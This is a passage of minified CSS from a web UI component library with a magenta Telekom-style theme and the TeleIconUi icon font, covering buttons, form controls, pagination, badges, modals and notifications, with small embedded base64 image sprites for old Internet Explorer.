11px}.btn-block{width:100%}.btn-sectioned{display:block}.btn-sectioned:before,.btn-sectioned:after{content:' ';display:table}.btn-sectioned:after{clear:both}.btn-sectioned>.btn,.btn-sectioned>.pager,.btn-sectioned>.pager+.pager{margin-left:-1px;margin-right:0;float:left;position:relative}.btn-sectioned>.btn:hover,.btn-sectioned>.pager:hover,.btn-sectioned>.pager+.pager:hover{z-index:2}.btn-sectioned>.btn:focus,.btn-sectioned>.btn:active,.btn-sectioned>.pager:focus,.btn-sectioned>.pager:active,.btn-sectioned>.pager+.pager:focus,.btn-sectioned>.pager+.pager:active{z-index:3}.btn-sectioned>.btn:first-child,.btn-sectioned>.pager:first-child,.btn-sectioned>.pager+.pager:first-child{margin-left:0}.btn-sectioned>.btn:not(:last-child),.btn-sectioned>.pager:not(:last-child),.btn-sectioned>.pager+.pager:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.btn-sectioned>.btn:not(:first-child),.btn-sectioned>.pager:not(:first-child),.btn-sectioned>.pager+.pager:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}label{display:inline-block}.form-input{background-color:#fff;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%;-webkit-appearance:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-input::-webkit-input-placeholder{color:#757575}.form-input:-moz-placeholder{color:#757575}.form-input::-moz-placeholder{color:#757575}.form-input:-ms-input-placeholder{color:#757575}.form-input.hover,.form-input:hover{background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-input.focus,.form-input:focus{background-color:#fff;outline:0}.form-input.active,.form-input:active{background-color:#d8d8d8}.form-input.disabled,.form-input.readonly,.form-input[disabled],.form-input[readonly]{background-color:#fff;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed;resize:none}.form-input.disabled::-webkit-input-placeholder,.form-input.readonly::-webkit-input-placeholder,.form-input[disabled]::-webkit-input-placeholder,.form-input[readonly]::-webkit-input-placeholder{color:#f4f4f4}.form-input.disabled:-moz-placeholder,.form-input.readonly:-moz-placeholder,.form-input[disabled]:-moz-placeholder,.form-input[readonly]:-moz-placeholder{color:#f4f4f4}.form-input.disabled::-moz-placeholder,.form-input.readonly::-moz-placeholder,.form-input[disabled]::-moz-placeholder,.form-input[readonly]::-moz-placeholder{color:#f4f4f4}.form-input.disabled:-ms-input-placeholder,.form-input.readonly:-ms-input-placeholder,.form-input[disabled]:-ms-input-placeholder,.form-input[readonly]:-ms-input-placeholder{color:#f4f4f4}textarea.form-input{min-height:36px}.decoration-positive .form-input{background-color:#f7fbf4;border-color:#548c1c}.decoration-positive .form-input.hover,.decoration-positive .form-input:hover{background-color:#f0f7e9;border-color:#497a18}.decoration-positive .form-input.focus,.decoration-positive .form-input:focus{background-color:#fff}.decoration-positive .form-input.active,.decoration-positive .form-input:active{background-color:#e8f3de;border-color:#3d6514}.decoration-warning .form-input{background-color:#fdfaf5;border-color:#b48e2f}.decoration-warning .form-input.hover,.decoration-warning .form-input:hover{background-color:#fbf6eb;border-color:#a27f2a}.decoration-warning .form-input.focus,.decoration-warning .form-input:focus{background-color:#fff}.decoration-warning .form-input.active,.decoration-warning .form-input:active{background-color:#f9f2e1;border-color:#8d6f25}.decoration-negative .form-input{background-color:#fdf2f2;border-color:#b20000}.decoration-negative .form-input.hover,.decoration-negative .form-input:hover{background-color:#fbe5e5;border-color:#a00000}.decoration-negative .form-input.focus,.decoration-negative .form-input:focus{background-color:#fff}.decoration-negative .form-input.active,.decoration-negative .form-input:active{background-color:#f9d8d8;border-color:darkred}.form-input-set{display:block;margin-bottom:12px}.form-input-set>label{font-size:15px}.form-radio,.form-checkbox{width:24px;height:24px}.form-radio-set,.form-checkbox-set{display:block;margin-bottom:12px}.form-radio-set label,.form-checkbox-set label{display:block;padding-left:36px;cursor:pointer;line-height:24px}.form-radio-set.disabled label,.form-checkbox-set.disabled label{cursor:not-allowed;color:#b7b7b7}.form-radio-set .form-radio,.form-checkbox-set .form-checkbox{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.form-fieldset{border:0;padding:0 12px;margin:0;min-width:0}.form-fieldset>legend{color:#757575;display:block;width:100%;box-sizing:content-box;padding:0 12px;margin:0 -12px;padding-bottom:6.24px;border-bottom:1px solid #b2b2b2}.form-fieldset>legend+*{-webkit-margin-top-collapse:separate;margin-top:12px}.form-select{background-color:#ededed;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%}.form-select option{background-color:#fff}.form-select.focus,.form-select:focus{background-color:#ededed;outline:0}.form-select.hover,.form-select:hover{background-color:#dbdbdb}.form-select.active,.form-select:active{background-color:#c6c6c6}.form-select.disabled,.form-select.readonly,.form-select[disabled],.form-select[readonly]{background-color:#f7f7f7;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed;resize:none}.form-select.disabled::-webkit-input-placeholder,.form-select.readonly::-webkit-input-placeholder,.form-select[disabled]::-webkit-input-placeholder,.form-select[readonly]::-webkit-input-placeholder{color:#f4f4f4}.form-select.disabled:-moz-placeholder,.form-select.readonly:-moz-placeholder,.form-select[disabled]:-moz-placeholder,.form-select[readonly]:-moz-placeholder{color:#f4f4f4}.form-select.disabled::-moz-placeholder,.form-select.readonly::-moz-placeholder,.form-select[disabled]::-moz-placeholder,.form-select[readonly]::-moz-placeholder{color:#f4f4f4}.form-select.disabled:-ms-input-placeholder,.form-select.readonly:-ms-input-placeholder,.form-select[disabled]:-ms-input-placeholder,.form-select[readonly]:-ms-input-placeholder{color:#f4f4f4}.fade{opacity:0;-webkit-transition:opacity .3s ease-out;-ms-transition:opacity .3s ease-out;-moz-transition:opacity .3s ease-out;-o-transition:opacity .3s ease-out;transition:opacity .3s ease-out}.fade.in{opacity:1}.content-list{list-style:none;margin:0;padding:0}.content-list>li,.content-list>.content-list-item{border-bottom:1px solid #dcdcdc}.content-list-item{position:relative;display:block;padding:12px;padding-top:13px}.content-list-item.selected{color:#e20074}a.content-list-item{-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);color:inherit;cursor:pointer}a.content-list-item.focus,a.content-list-item:focus{text-decoration:none}a.content-list-item.hover,a.content-list-item:hover{text-decoration:none;background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}a.content-list-item.active,a.content-list-item:active{background-color:#d8d8d8}.content-list-item-brand{color:#fff;background-color:#e20074}a.content-list-item-brand{color:#fff}a.content-list-item-brand.hover,a.content-list-item-brand:hover{background-color:#d0006a}a.content-list-item-brand.active,a.content-list-item-brand:active{background-color:#bb0060}.breadcrumb{padding:0;margin:0;list-style:none}.breadcrumb>li{display:inline-block}.breadcrumb>li>a{color:#757575}.breadcrumb>li+li:before{padding:0 1px;content:'\\bb\\00a0';color:#757575}.breadcrumb>.active{color:#e20074}.pagination{display:inline-block;padding-left:0;margin:0 -3px}.pagination>li{display:inline}.pagination>li>a{float:left;display:block;width:12px;height:12px;margin:0 3px;border-radius:50%;background-color:#fff;border:1px solid #b2b2b2;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.pagination>li>a.focus,.pagination>li>a:focus{background-color:#c9c9c9;border-color:#7c7c7c;outline:0}.pagination>li>a.hover,.pagination>li>a:hover{background-color:#ededed;border-color:#a0a0a0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.pagination>li>a.active,.pagination>li>a:active{background-color:#d8d8d8;border-color:#8b8b8b}.pagination>.active>a{background-color:#e20074;border-color:#bb0060;overflow:hidden}.pagination>.active>a:before{content:url(\"data:image/gif;base64,R0lGODdhDAAMAKUiAOYgheYhhuYihuYih+Yjh+YjiOYkh+YkiOYliOYlieYmiOYmieYniecniecniuYoiucoiecoiuYpiucpiucqiucqi+cri+csjOctjOcujecvjecvjucwjugxj+gyj+g0kOg1kOg1kf///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAADAAMAAAGXUAE4lAYBACAAOFwEB4IRqSS6YQGroKls3gNZJsJptWrXSzEAnKT8XgQ3oOvgiGpVN54A4JuuVzwTXMPFhgaGwVMCQ0QERQYHB4eiQ0RExQWGR0fIIkOlRWYHiAhQQA7\");line-height:12px;vertical-align:super}.pagination>.active>a.focus,.pagination>.active>a:focus{background-color:#ac0058;border-color:#850044}.pagination>.active>a.hover,.pagination>.active>a:hover{background-color:#d0006a;border-color:#a90056}.pagination>.active>a.active,.pagination>.active>a:active{background-color:#bb0060;border-color:#94004c}.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus,.pagination>.disabled>a:active{background-color:#fff;border-color:#d8d8d8;cursor:not-allowed}.pagination-small>li>a,.pagination-small>li>span{width:8px;height:8px;margin:0 1.5px}.media{padding:5px 12px 4px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:middle;height:38px}.media-left{padding-right:12px}.media-right{padding-left:12px}.media-body{width:100%;padding:5px 0}.media-top{vertical-align:top}.media-bottom{vertical-align:bottom}.media-heading{margin:0;padding:0}.media-hint{margin:0;padding:0;color:#757575;font-size:15px}.badge{background-color:#ededed;border-radius:3px;color:#383838;display:inline-block;font-size:15px;font-weight:700;line-height:1;min-width:20px;padding:3px 6px 2px;text-align:center;vertical-align:baseline;white-space:nowrap}.badge:empty{display:none}.content-list-item>.badge{float:right}.badge-positive{background-color:#6bb324}.badge-warning{background-color:#dbad39}.badge-negative{background-color:#d90000;color:#fff}.badge-function{background-color:#0ca1dc;color:#fff}.badge-brand{background-color:#e20074;color:#fff}.badge-dark{background-color:#383838;color:#fff}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;left:0;width:100%;height:100%;display:none;overflow-x:hidden;overflow-y:auto;-webkit-overflow-scrolling:touch}.modal:empty{display:none}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);-moz-transform:translate(0, -25%);-o-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:transform 0.3s ease-out;-ms-transition:transform 0.3s ease-out;-moz-transition:transform 0.3s ease-out;-o-transition:transform 0.3s ease-out;transition:transform 0.3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);-moz-transform:translate(0, 0);-o-transform:translate(0, 0);transform:translate(0, 0)}.modal-open.modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;z-index:6500;margin:12px}.modal-content{position:relative;background-color:#fff;border-radius:6px;padding:12px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.75);box-shadow:0 1px 3px rgba(0,0,0,0.75);background-clip:padding-box;outline:0}.modal-backdrop{position:absolute;top:0;right:0;left:0;z-index:6000;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.in{opacity:0.8}.modal-header{padding:0;border-bottom:1px solid #b2b2b2}.modal-title{text-align:center}.modal-body{position:relative;padding:12px 0}.modal-footer{text-align:right;padding:12px 0 0;border-top:1px solid #b2b2b2}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 640px){.modal-dialog{width:600px;margin:24px auto}.modal-small{width:480px}}@media (min-width: 1024px){.modal-large{width:840px}}.notification{background-color:#fefefe;border:1px solid #b2b2b2;border-radius:6px;display:block;margin-bottom:18px;padding:16px 24px 22px;text-align:left;font-size:15px}.notification:before,.notification:after{content:' ';display:table}.notification:after{clear:both}.notification:empty{display:none}.notification-dismissible{padding-right:48px}.notification-dismissible>.close{margin-right:-36px;margin-top:-7px;margin-left:18px}.notification-dismissible>.close.focus,.notification-dismissible>.close:focus{color:#020202;outline:0}.notification-dismissible>.close.hover,.notification-dismissible>.close:hover{color:#262626}.notification-dismissible>.close.active,.notification-dismissible>.close:active{color:#111}.notification-content,.notification-left,.notification-right{overflow:hidden;zoom:1}.notification-content>p{padding:0;margin:0}.notification-left{float:left;margin-right:12px}.notification-right{float:right;margin-left:12px}.notification-heading{font-size:24px;font-weight:400;padding:0;margin:0}.notification-overlay{box-shadow:0 1px 4px rgba(0,0,0,0.45)}.notification-positive{background-color:#f7fbf4;border-color:#548c1c;color:false}.notification-positive>.notification-badge{background-color:false;color:#f7fbf4}.notification-positive>.close.focus,.notification-positive>.close:focus{color:false}.notification-positive>.close.hover,.notification-positive>.close:hover{color:false}.notification-positive>.close.active,.notification-positive>.close:active{color:false}.notification-warning{background-color:#fdfaf5;border-color:#b48e2f;color:false}.notification-warning>.notification-badge{background-color:false;color:#fdfaf5}.notification-warning>.close.focus,.notification-warning>.close:focus{color:false}.notification-warning>.close.hover,.notification-warning>.close:hover{color:false}.notification-warning>.close.active,.notification-warning>.close:active{color:false}.notification-negative{background-color:#fdf2f2;border-color:#b20000;color:false}.notification-negative>.notification-badge{background-color:false;color:#fdf2f2}.notification-negative>.close.focus,.notification-negative>.close:focus{color:false}.notification-negative>.close.hover,.notification-negative>.close:hover{color:false}.notification-negative>.close.active,.notification-negative>.close:active{color:false}.notification-badge{float:right;margin-top:-5px;margin-right:-12px;background-color:#383838;color:#fff}.notification .icon-frame{padding:7px 0 0}.notification .icon-frame .icon-large{font-size:42px}.pager{border-radius:3em;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);background:#fff;background-image:none;border:1px solid #b2b2b2;color:#383838;cursor:pointer;display:inline-block;font-weight:normal;font-size:18px;line-height:1.25;padding:6px 23px;text-align:center;vertical-align:bottom;white-space:nowrap;text-decoration:none}.pager.right{float:right}.pager.left{float:left}.pager>.icon{padding-right:12px;margin-left:-6px;color:#000}.pager>.icon.right{padding-left:12px;padding-right:0;margin-left:0;margin-right:-6px}.pager.focus,.pager:focus{text-decoration:none;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.pager.hover,.pager:hover{text-decoration:none;background-color:#ededed;border-color:#a0a0a0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.pager.active,.pager:active{text-decoration:none;background-color:#d8d8d8;border-color:#8b8b8b}.pager.disabled,.pager[disabled]{cursor:not-allowed;background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.pager-small{font-size:15px;padding:5px 23px}.pager-large{font-size:21px;padding:10px 23px}.pager-icon{padding:6px 11px;padding-left:0;padding-right:0;width:36px}.pager-icon.pager-small{width:32px}.pager-icon.pager-large{width:48px;height:48px}.pager-icon.pager-large .icon{font-size:36px;padding:1px 0 0 2px}.pager-icon .icon{padding:0;margin-left:0;margin-right:0}.pager+.pager{margin-left:24px}.pager-minimal{padding:6px 11px}.pager-block{width:100%}.pager-clean{border-color:transparent}.pager-clean.hover,.pager-clean:hover{text-decoration:none;border-color:transparent}.pager-clean.active,.pager-clean:active{text-decoration:none;border-color:transparent}.close{color:inherit;border:0;padding:0;cursor:pointer;font-size:24px;line-height:1;font-family:'TeleIconUi';float:right;background:none;margin-top:-1px}.form-checkbox-js{width:22px;height:22px;font-size:24px;padding:0;border:0;background-color:#ededed;border-radius:4px;font-family:'TeleIconUi';line-height:1px;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-checkbox-js.focus,.form-checkbox-js:focus{outline:0}.form-checkbox-js.focus{background-color:#b7b7b7}.form-checkbox-js.hover,.form-checkbox-js:hover{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-checkbox-js.active,.form-checkbox-js:active{background-color:#c6c6c6}.form-checkbox-js>.border{color:#b2b2b2;position:absolute;top:10.5px;left:-1px}.form-checkbox-js>.border:before{content:'A'}.form-checkbox-js>.check{font-size:24px;position:absolute;top:10.5px;left:-1px;color:#6bb324}.form-checkbox-js>.check:before{content:''}.form-checkbox-js.checked>.check:before{content:'B'}fieldset[disabled] .form-checkbox-js,.form-checkbox-js[disabled],.form-checkbox-js.disabled{cursor:not-allowed;background-color:#f9f9f9}fieldset[disabled] .form-checkbox-js>.border:before,.form-checkbox-js[disabled]>.border:before,.form-checkbox-js.disabled>.border:before{color:#d5d5d5}fieldset[disabled] .form-checkbox-js>.check:before,.form-checkbox-js[disabled]>.check:before,.form-checkbox-js.disabled>.check:before{color:#b7b7b7}.form-checkbox-set .form-checkbox-js{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.lte-ie8 .form-checkbox-js{background-color:transparent !important;background-repeat:no-repeat;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAAYCAYAAAAxkDmIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDozNzdDRDJBNDk3RTFFMzExODA1Q0VBNjZFMjk1MzI2MiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxRDA0Mjc4MUUxQTcxMUUzOUIxMEY2RkFFQTZEM0FCMSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxRDA0Mjc4MEUxQTcxMUUzOUIxMEY2RkFFQTZEM0FCMSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM3N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+HYcNygAAAP5JREFUeNrsmjFqwzAAReWQsRDImgNk8wlaqiUn6pqxa27SGxQ6lR7BNzAEhAWCroF8geZ2SD6C8B58Izw8Yx7ePCzLEsROO2nP7XwLs/atveWc53bP4k8pWf2lFKs/xmj11/OgwHsdfrRtuC9Ze1Hki9OvyFa/Ilv9imz1r3V5N8hDc1b3BX8/fw18CD4O7QXwd/LXwBvjA56CF/z/+FcBHhoCExgIDAQGAgOBgcBAYAIDgYHAQGAgMBAY/g5cjP5f/H39NfCX8QGf+Pv66x8dR+01eH76OrYz/k7++gVP2qh9aOc7iM/NNeacJ6c/pWT1l1Ks/hij1V/dVwEGAJDahM+tVIFSAAAAAElFTkSuQmCC\")}.lte-ie8 .form-checkbox-js.focus,.lte-ie8 .form-checkbox-js:focus{background-position:-72px 0}.lte-ie8 .form-checkbox-js.hover,.lte-ie8 .form-checkbox-js:hover{background-position:-24px 0}.lte-ie8 .form-checkbox-js.active,.lte-ie8 .form-checkbox-js:active{background-position:-47px 1px}.lte-ie8 .form-checkbox-js[disabled],.lte-ie8 .form-checkbox-js.disabled{background-position:-96px 0}.lte-ie8 fieldset[disabled] .form-checkbox-js{background-position:-96px 0}.form-radio-js{width:22px;height:22px;font-size:24px;padding:0;border:0;background-color:#ededed;border-radius:50%;font-family:'TeleIconUi';line-height:1px;position:relative;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-radio-js.focus,.form-radio-js:focus{outline:0}.form-radio-js.focus{background-color:#b7b7b7}.form-radio-js.hover,.form-radio-js:hover{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-radio-js.active,.form-radio-js:active{background-color:#c6c6c6}.form-radio-js>.border{color:#b2b2b2;position:absolute;top:10px;left:-1px}.form-radio-js>.border:before{content:'C'}.form-radio-js>.check{font-size:24px;position:absolute;top:10px;left:-1px;color:#e20074}.form-radio-js>.check:before{content:''}.form-radio-js.checked>.check:before{content:'D'}fieldset[disabled] .form-radio-js,.form-radio-js[disabled],.form-radio-js.disabled{cursor:not-allowed;background-color:#f9f9f9}fieldset[disabled] .form-radio-js>.border:before,.form-radio-js[disabled]>.border:before,.form-radio-js.disabled>.border:before{color:#d5d5d5}fieldset[disabled] .form-radio-js>.check:before,.form-radio-js[disabled]>.check:before,.form-radio-js.disabled>.check:before{color:#b7b7b7}.form-radio-set .form-radio-js{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.lte-ie8 .form-radio-js{background-color:transparent !important;background-repeat:no-repeat;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAAYCAYAAAAxkDmIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDozNzdDRDJBNDk3RTFFMzExODA1Q0VBNjZFMjk1MzI2MiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxODZGRDVCRkUxQTcxMUUzQTBCRkM0RUQzNUQwMDFCRiIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxODZGRDVCRUUxQTcxMUUzQTBCRkM0RUQzNUQwMDFCRiIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM3N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+JE+ciQAAAjVJREFUeNrsms1Kw0AUhadpl4KrglAQFMTiSvAFiiAIgsWFm3bpA9gnUHyALnyAbty6EApSQfANBFeiCHZVEEILBbcFz+ANxKGTv87tgNwDpw2h+ZJyksmdn9J4PFYJqsEn8BFchXdp/wscwvfwHTyad/BkMlEpWogfhiErfzqdsvIbjQYrX6tkCXgNvoLP4HLKRczgHnwJf2UM2Ak/IWAn/ISAnfATAnbCtwV8CN/CKyqfvuFT+CElYGd8S8DO+JaAnfEtATvjawXGj87hQQG4omMGxLBJ+EvmxwM+hrtqcXWJZUr4HvhB7GV+k6G9z6IysWpGsSB8D/wo4At4VbnTKjGV8P3ydZG1ju9PR3ePWd1tUqHFxqdCi41PhRYbnwotNn4FHy0GeNRUtGLbwvfA1wEfKD7tM1288DPydcDbjCfYUbwSfgq/QkNgXKoy/wHhp/ADJfrX0gGHjPxQ+H75uol+NzrdLvVKRYTwPfH1E/zIeAc9Cd8vXw90bGDjg6mjvUUDHWx8Guhg49NABxufBjrY+PoJHqrf+UTX6iHcIScf4bLyES4rH+Gy8jU7mg/W74A3VWyaap703GQdAUcrDVj4CJiVj4BZ+QiYlQ+Pom6SPlHb4d3TVn+XkQjfEz/eD+7DHQfwDrFMCd8D3xzouIab9IgXaRaaxLBJ+EvmB5Y7qU4v6VnGaq1Hx/Qz/F74S+SXci6b3aP9z4pn2WwufoFls7n4BZbN5uIXWDabi6/1I8AAeDZjVOQRAs0AAAAASUVORK5CYII=\")}.lte-ie8 .form-radio-js.focus,.lte-ie8 .form-radio-js:focus{background-position:-72px 0}.lte-ie8 .form-radio-js.hover,.lte-ie8 .form-radio-js:hover{background-position:-24px 0}.lte-ie8 .form-radio-js.active,.lte-ie8 .form-radio-js:active{background-position:-47px 1px}.lte-ie8 .form-radio-js[disabled],.lte-ie8 .form-radio-js.disabled{background-position:-96px 0}.lte-ie8 fieldset[disabled] .form-radio-js{background-position:-96px 0}.form-select-js{position:relative;cursor:default}.form-select-js .form-select-js-choice{background-color:#ededed;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%;text-decoration:none;-webkit-appearance:none;text-align:left;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-select-js .form-select-js-choice:before{content:'e';float:right;font-family:'TeleIconUi';font-size:24px;line-height:1px;margin-top:10px;margin-right:-5px}.form-select-js.focus .form-select-js-choice,.form-select-js:focus .form-select-js-choice{background-color:#b7b7b7;outline:0}.form-select-js.hover .form-select-js-choice,.form-select-js:hover .form-select-js-choice{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-select-js.selected .form-select-js-choice,.form-select-js:selected .form-select-js-choice{background-color:#fff}.form-select-js.active .form-select-js-choice,.form-select-js:active .form-select-js-choice{background-color:#c6c6c6}.form-select-js[aria-disabled=true] 